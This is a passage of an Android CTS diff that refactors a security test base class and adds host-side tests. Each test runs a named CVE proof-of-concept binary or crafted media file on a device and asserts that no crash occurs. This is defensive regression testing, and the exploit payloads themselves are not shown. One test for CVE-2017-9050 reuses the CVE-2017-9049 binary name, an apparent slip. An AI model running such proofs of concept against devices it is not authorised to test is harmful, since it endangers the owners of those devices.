+                        "TimeoutCharSequence was used after the expiration time.");
+            }
+            return chars.charAt(index);
+        }
+
+        @Override
+        public int length() {
+            return chars.length();
+        }
+
+        @Override
+        public CharSequence subSequence(int start, int end) {
+            return new TimeoutCharSequence(chars.subSequence(start, end),
+                    expireTime - System.currentTimeMillis());
+        }
+
+        @Override
+        public String toString() {
+            return chars.toString();
+        }
+
+        private static class CharSequenceTimeoutException extends RuntimeException {
+            public CharSequenceTimeoutException(String message) {
+                super(message);
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
index cacceaa..491dcab 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/SecurityTestCase.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2016 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -16,143 +16,275 @@
 
 package android.security.cts;
 
+import com.android.compatibility.common.util.MetricsReportLog;
+import com.android.compatibility.common.util.ResultType;
+import com.android.compatibility.common.util.ResultUnit;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.NativeDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.log.LogUtil.CLog;
-
-import java.util.regex.Pattern;
-import com.android.ddmlib.MultiLineReceiver;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.ddmlib.Log;
 
-public class SecurityTestCase extends DeviceTestCase {
+import org.junit.rules.TestName;
+import org.junit.Rule;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+import java.util.HashMap;
+import java.util.regex.Pattern;
+import java.util.regex.Matcher;
+import java.util.concurrent.Callable;
+import java.math.BigInteger;
+
+import static org.junit.Assert.*;
+import static org.junit.Assume.*;
+
+public class SecurityTestCase extends BaseHostJUnit4Test {
 
     private static final String LOG_TAG = "SecurityTestCase";
+    private static final int RADIX_HEX = 16;
+
+    protected static final int TIMEOUT_DEFAULT = 60;
+    // account for the poc timer of 5 minutes (+15 seconds for safety)
+    protected static final int TIMEOUT_NONDETERMINISTIC = 315;
 
     private long kernelStartTime;
-    private static Thread checkOom = null;
+
+    private HostsideOomCatcher oomCatcher = new HostsideOomCatcher(this);
+
+    @Rule public TestName testName = new TestName();
+    @Rule public PocPusher pocPusher = new PocPusher();
+
+    private static Map<ITestDevice, IBuildInfo> sBuildInfo = new HashMap<>();
+    private static Map<ITestDevice, IAbi> sAbi = new HashMap<>();
+    private static Map<ITestDevice, String> sTestName = new HashMap<>();
+    private static Map<ITestDevice, PocPusher> sPocPusher = new HashMap<>();
 
     /**
      * Waits for device to be online, marks the most recent boottime of the device
      */
-    @Override
+    @Before
     public void setUp() throws Exception {
-        super.setUp();
-
-        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
-        kernelStartTime = System.currentTimeMillis()/1000 -
-            Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
-        //TODO:(badash@): Watch for other things to track.
+        getDevice().waitForDeviceAvailable();
+        getDevice().disableAdbRoot();
+        updateKernelStartTime();
+        // TODO:(badash@): Watch for other things to track.
         //     Specifically time when app framework starts
 
-        // Start Out of Memory detection in separate thread
-        //if (checkOom == null || !checkOom.isAlive()) {
-        //    checkOom = new Thread(new OomChecker());
-        //    checkOom.start();
-        //}
-    }
+        oomCatcher.start();
+        sBuildInfo.put(getDevice(), getBuild());
+        sAbi.put(getDevice(), getAbi());
+        sTestName.put(getDevice(), testName.getMethodName());
 
-    /**
-     * Allows a CTS test to pass if called after a planned reboot.
-     */
-    public void updateKernelStartTime() throws Exception {
-        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
-        kernelStartTime = System.currentTimeMillis()/1000 -
-            Integer.parseInt(uptime.substring(0, uptime.indexOf('.')));
-    }
-
-    /**
-     * Use {@link NativeDevice#enableAdbRoot()} internally.
-     *
-     * The test methods calling this function should run even if enableAdbRoot fails, which is why 
-     * the return value is ignored. However, we may want to act on that data point in the future.
-     */
-    public boolean enableAdbRoot(ITestDevice mDevice) throws DeviceNotAvailableException {
-        if(mDevice.enableAdbRoot()) {
-            return true;
-        } else {
-            CLog.w("\"enable-root\" set to false! Root is required to check if device is vulnerable.");
-            return false;
-        }
-    }
-
-    /**
-     * Check if a driver is present on a machine
-     */
-    public boolean containsDriver(ITestDevice mDevice, String driver) throws Exception {
-        String result = mDevice.executeShellCommand("ls -Zl " + driver);
-        if(result.contains("No such file or directory")) {
-            return false;
-        }
-        return true;
+        pocPusher.setDevice(getDevice()).setBuild(getBuild()).setAbi(getAbi());
+        sPocPusher.put(getDevice(), pocPusher);
     }
 
     /**
      * Makes sure the phone is online, and the ensure the current boottime is within 2 seconds
      * (due to rounding) of the previous boottime to check if The phone has crashed.
      */
-    @Override
+    @After
     public void tearDown() throws Exception {
-        getDevice().waitForDeviceAvailable(120 * 1000);
-        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
-        assertTrue("Phone has had a hard reset",
-            (System.currentTimeMillis()/1000 -
-                Integer.parseInt(uptime.substring(0, uptime.indexOf('.')))
-                    - kernelStartTime < 2));
-        //TODO(badash@): add ability to catch runtime restart
-        getDevice().disableAdbRoot();
+        oomCatcher.stop(getDevice().getSerialNumber());
+
+        try {
+            getDevice().waitForDeviceAvailable(90 * 1000);
+        } catch (DeviceNotAvailableException e) {
+            // Force a disconnection of all existing sessions to see if that unsticks adbd.
+            getDevice().executeAdbCommand("reconnect");
+            getDevice().waitForDeviceAvailable(30 * 1000);
+        }
+
+        if (oomCatcher.isOomDetected()) {
+            // we don't need to check kernel start time if we intentionally rebooted because oom
+            updateKernelStartTime();
+            switch (oomCatcher.getOomBehavior()) {
+                case FAIL_AND_LOG:
+                    fail("The device ran out of memory.");
+                    break;
+                case PASS_AND_LOG:
+                    Log.logAndDisplay(Log.LogLevel.INFO, LOG_TAG, "Skipping test.");
+                    break;
+                case FAIL_NO_LOG:
+                    fail();
+                    break;
+            }
+        } else {
+            long deviceTime = getDeviceUptime() + kernelStartTime;
+            long hostTime = System.currentTimeMillis() / 1000;
+            assertTrue("Phone has had a hard reset", (hostTime - deviceTime) < 2);
+
+            // TODO(badash@): add ability to catch runtime restart
+        }
     }
 
+    public static IBuildInfo getBuildInfo(ITestDevice device) {
+        return sBuildInfo.get(device);
+    }
+
+    public static IAbi getAbi(ITestDevice device) {
+        return sAbi.get(device);
+    }
+
+    public static String getTestName(ITestDevice device) {
+        return sTestName.get(device);
+    }
+
+    public static PocPusher getPocPusher(ITestDevice device) {
+        return sPocPusher.get(device);
+    }
+
+    // TODO convert existing assertMatches*() to RegexUtils.assertMatches*()
+    // b/123237827
+    @Deprecated
     public void assertMatches(String pattern, String input) throws Exception {
-        assertTrue("Pattern not found", Pattern.matches(pattern, input));
+        RegexUtils.assertContains(pattern, input);
     }
 
+    @Deprecated
+    public void assertMatchesMultiLine(String pattern, String input) throws Exception {
+        RegexUtils.assertContainsMultiline(pattern, input);
+    }
+
+    @Deprecated
     public void assertNotMatches(String pattern, String input) throws Exception {
-        assertFalse("Pattern found", Pattern.matches(pattern, input));
+        RegexUtils.assertNotContains(pattern, input);
     }
 
+    @Deprecated
     public void assertNotMatchesMultiLine(String pattern, String input) throws Exception {
-       assertFalse("Pattern found",
-                   Pattern.compile(pattern,
-                   Pattern.DOTALL).matcher(input).matches());
+        RegexUtils.assertNotContainsMultiline(pattern, input);
     }
 
-    class OomChecker implements Runnable {
-
-        @Override
-        public void run() {
-            MultiLineReceiver rcvr = new MultiLineReceiver() {
-                private boolean isCancelled = false;
-
-                public void processNewLines(String[] lines) {
-                    for (String line : lines) {
-                        if (Pattern.matches(".*lowmemorykiller.*", line)) {
-                            // low memory detected, reboot device to clear memory and pass test
-                            isCancelled = true;
-                            Log.i(LOG_TAG, "lowmemorykiller detected; rebooting device and passing test");
-                            try {
-                                getDevice().rebootUntilOnline();
-                                updateKernelStartTime();
-                            } catch (Exception e) {
-                                Log.e(LOG_TAG, e.toString());
-                            }
-                            return; // we don't need to process remaining lines in the array
-                        }
-                    }
-                }
-
-                public boolean isCancelled() {
-                    return isCancelled;
-                }
-            };
-
-            try {
-                AdbUtils.runCommandLine("logcat -c", getDevice());
-                getDevice().executeShellCommand("logcat", rcvr);
-            } catch (Exception e) {
-                Log.e(LOG_TAG, e.toString());
+    /**
+     * Runs a provided function that collects a String to test against kernel pointer leaks.
+     * The getPtrFunction function implementation must return a String that starts with the
+     * pointer. i.e. "01234567". Trailing characters are allowed except for [0-9a-fA-F]. In
+     * the event that the pointer appears to be vulnerable, a JUnit assert is thrown. Since kernel
+     * pointers can be hashed, there is a possiblity the the hashed pointer overlaps into the
+     * normal kernel space. The test re-runs to make false positives statistically insignificant.
+     * When kernel pointers won't change without a reboot, provide a device to reboot.
+     *
+     * @param getPtrFunction a function that returns a string that starts with a pointer
+     * @param deviceToReboot device to reboot when kernel pointers won't change
+     */
+    public void assertNotKernelPointer(Callable<String> getPtrFunction, ITestDevice deviceToReboot)
+            throws Exception {
+        String ptr = null;
+        for (int i = 0; i < 4; i++) { // ~0.4% chance of false positive
+            ptr = getPtrFunction.call();
+            if (ptr == null) {
+                return;
+            }
+            if (!isKptr(ptr)) {
+                // quit early because the ptr is likely hashed or zeroed.
+                return;
+            }
+            if (deviceToReboot != null) {
+                deviceToReboot.nonBlockingReboot();
+                deviceToReboot.waitForDeviceAvailable();
+                updateKernelStartTime();
             }
         }
+        fail("\"" + ptr + "\" is an exposed kernel pointer.");
+    }
+
+    private boolean isKptr(String ptr) {
+        Matcher m = Pattern.compile("[0-9a-fA-F]*").matcher(ptr);
+        if (!m.find() || m.start() != 0) {
+           // ptr string is malformed
+           return false;
+        }
+        int length = m.end();
+
+        if (length == 8) {
+          // 32-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 32-bit kernel memory range: 0xC0000000 -> 0xffffffff
+          // 0x3fffffff bytes = 1GB /  0xffffffff = 4 GB
+          // 1 in 4 collision for hashed pointers
+          return address.compareTo(new BigInteger("C0000000", RADIX_HEX)) >= 0;
+        } else if (length == 16) {
+          // 64-bit pointer
+          BigInteger address = new BigInteger(ptr.substring(0, length), RADIX_HEX);
+          // 64-bit kernel memory range: 0x8000000000000000 -> 0xffffffffffffffff
+          // 48-bit implementation: 0xffff800000000000; 1 in 131,072 collision
+          // 56-bit implementation: 0xff80000000000000; 1 in 512 collision
+          // 64-bit implementation: 0x8000000000000000; 1 in 2 collision
+          return address.compareTo(new BigInteger("ff80000000000000", RADIX_HEX)) >= 0;
+        }
+
+        return false;
+    }
+
+    /**
+     * Check if a driver is present on a machine.
+     */
+    protected boolean containsDriver(ITestDevice device, String driver) throws Exception {
+        boolean containsDriver = AdbUtils.runCommandGetExitCode("test -r " + driver, device) == 0;
+
+        MetricsReportLog reportLog = buildMetricsReportLog(getDevice());
+        reportLog.addValue("path", driver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.addValue("exists", containsDriver, ResultType.NEUTRAL, ResultUnit.NONE);
+        reportLog.submit();
+
+        return containsDriver;
+    }
+
+    protected static MetricsReportLog buildMetricsReportLog(ITestDevice device) {
+        IBuildInfo buildInfo = getBuildInfo(device);
+        IAbi abi = getAbi(device);
+        String testName = getTestName(device);
+
+        StackTraceElement[] stacktraces = Thread.currentThread().getStackTrace();
+        int stackDepth = 2; // 0: getStackTrace(), 1: buildMetricsReportLog, 2: caller
+        String className = stacktraces[stackDepth].getClassName();
+        String methodName = stacktraces[stackDepth].getMethodName();
+        String classMethodName = String.format("%s#%s", className, methodName);
+
+        // The stream name must be snake_case or else json formatting breaks
+        String streamName = methodName.replaceAll("(\\p{Upper})", "_$1").toLowerCase();
+
+        MetricsReportLog reportLog = new MetricsReportLog(
+            buildInfo,
+            abi.getName(),
+            classMethodName,
+            "CtsSecurityBulletinHostTestCases",
+            streamName,
+            true);
+        reportLog.addValue("test_name", testName, ResultType.NEUTRAL, ResultUnit.NONE);
+        return reportLog;
+    }
+
+    private long getDeviceUptime() throws DeviceNotAvailableException {
+        String uptime = getDevice().executeShellCommand("cat /proc/uptime");
+        return Long.parseLong(uptime.substring(0, uptime.indexOf('.')));
+    }
+
+    public void safeReboot() throws DeviceNotAvailableException {
+        getDevice().nonBlockingReboot();
+        getDevice().waitForDeviceAvailable();
+        updateKernelStartTime();
+    }
+
+    /**
+     * Allows a test to pass if called after a planned reboot.
+     */
+    public void updateKernelStartTime() throws DeviceNotAvailableException {
+        long uptime = getDeviceUptime();
+        kernelStartTime = (System.currentTimeMillis() / 1000) - uptime;
+    }
+
+    public HostsideOomCatcher getOomCatcher() {
+        return oomCatcher;
     }
 }
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
new file mode 100644
index 0000000..085442e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -0,0 +1,589 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.compatibility.common.util.CrashUtils;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+import junit.framework.Assert;
+import java.util.Arrays;
+import java.util.ArrayList;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class TestMedia extends SecurityTestCase {
+
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for N below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+    /******************************************************************************
+     * To prevent merge conflicts, add tests for O below this comment, before any
+     * existing test methods
+     ******************************************************************************/
+
+    /**
+     * b/157650336
+     * Vulnerability Behaviour: SIGSEGV in self / EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0450() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0450", null, getDevice());
+    }
+
+    /**
+     * b/156997193
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-11")
+    @Test
+    public void testPocCVE_2020_0409() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0409";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/156999009
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-10")
+    @Test
+    public void testPocCVE_2020_0408() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0408";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/161894517
+     * Vulnerability Behaviour: SIGABRT in self
+     */
+    @SecurityTest(minPatchLevel = "2020-10")
+    @Test
+    public void testPocCVE_2020_0421() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        String binaryName = "CVE-2020-0421";
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/132082342
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2133() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2133", null, getDevice());
+    }
+
+    /**
+     * b/132083376
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2134() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2134", null, getDevice());
+    }
+
+    /*
+     * b/31470908
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2017-04")
+    @Test
+    public void testPocCVE_2016_10244() throws Exception {
+        String inputFiles[] = {"cve_2016_10244"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-10244",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/27793367
+     * Vulnerability Behaviour: SIGSEGV in mediaserver or omx@1.0-service
+     */
+    @SecurityTest(minPatchLevel = "2016-06")
+    @Test
+    public void testPocCVE_2016_2485() throws Exception {
+        String inputFiles[] = {"cve_2016_2485.raw"};
+        String processPatternStrings[] = {"mediaserver", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2016-2485",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/141890807
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-01")
+    @Test
+    public void testPocCVE_2020_0007() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0007", null, getDevice());
+    }
+
+    /**
+     * b/118372692
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-02")
+    @Test
+    public void testPocCVE_2019_1988() throws Exception {
+        String inputFiles[] = {"cve_2019_1988.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-1988",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/63522430
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2017_0817() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0817", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/36104177
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-09")
+    @Test
+    public void testPocCVE_2017_0670() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0670", null, getDevice());
+    }
+
+    /**
+     * b/68159767
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_13234() throws Exception {
+        String inputFiles[] = { "cve_2017_13234.xmf" };
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13234",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+     /**
+     * b/134578122
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-10")
+    @Test
+    public void testPocCVE_2019_2184() throws Exception {
+        String inputFiles[] = {"cve_2019_2184.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2184",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/144767096
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2020-05")
+    @Test
+    public void testPocCVE_2020_0101() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0101", null, getDevice());
+    }
+
+    /**
+     * b/66969349
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2017_13180() throws Exception {
+        String processPatternStrings[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13180", null, getDevice(),
+                processPatternStrings);
+    }
+
+    /**
+     * b/111210196
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-12")
+    @Test
+    public void testPocCVE_2019_2228() throws Exception {
+        String inputFiles[] = {"cve_2019_2228_ipp.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2228",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/62151041 - Has 4 CVEs filed together
+     */
+    /** 1. CVE-2017-9047
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9047() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9047";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 2. CVE-2017-9048
+     * Vulnerability Behaviour: SIGABRT by -fstack-protector
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9048() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9048";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 3. CVE-2017-9049
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9049() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9049.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /** 4. CVE-2017-9050
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPocCVE_2018_9466_CVE_2017_9050() throws Exception {
+        String binaryName = "CVE-2018-9466-CVE-2017-9049";
+        String inputFiles[] = {"cve_2018_9466_cve_2017_9050.xml"};
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/74122779
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-07")
+    @Test
+    public void testPocCVE_2018_9428() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2018-9428", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/23247055
+     * Vulnerability Behaviour: SIGABRT in self
+     **/
+    @SecurityTest(minPatchLevel = "2015-10")
+    @Test
+    public void testPocCVE_2015_3873() throws Exception {
+        String inputFiles[] = {"cve_2015_3873.mp4"};
+        String binaryName = "CVE-2015-3873";
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+        testConfig.config.setSignals(signals);
+        testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
+        testConfig.inputFiles = Arrays.asList(inputFiles);
+        testConfig.inputFilesDestination  = AdbUtils.TMP_PATH;
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/64340921
+     * Vulnerability Behaviour: SIGABRT in audioserver
+     */
+    @SecurityTest(minPatchLevel = "2018-02")
+    @Test
+    public void testPocCVE_2017_0837() throws Exception {
+        String signals[] = {CrashUtils.SIGSEGV, CrashUtils.SIGBUS, CrashUtils.SIGABRT};
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2017-0837", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("audioserver");
+        testConfig.config.setSignals(signals);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+
+    /**
+     * b/66969193
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2018-01")
+    @Test
+    public void testPocCVE_2017_13179() throws Exception {
+        pocPusher.only32();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-13179", null, getDevice());
+    }
+
+    /**
+     * b/127702368
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2126() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2019-2126", null, getDevice());
+    }
+
+    /**
+     * b/36389123
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-08")
+    @Test
+    public void testPocCVE_2017_0726() throws Exception {
+        String inputFiles[] = {"cve_2017_0726.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/37239013
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-07")
+    @Test
+    public void testPocCVE_2017_0697() throws Exception {
+        String inputFiles[] = {"cve_2017_0697.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0697",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
+     * b/111603051
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2018-10")
+    @Test
+    public void testPocCVE_2018_9491() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9491", null, getDevice());
+    }
+
+    /**
+     * b/79662501
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    @Test
+    public void testPocCVE_2018_9472() throws Exception {
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2018-9472", null, getDevice());
+    }
+
+    /**
+     * b/36554207
+     * Vulnerability Behaviour: SIGSEGV in self
+     **/
+    @SecurityTest(minPatchLevel = "2017-06")
+    @Test
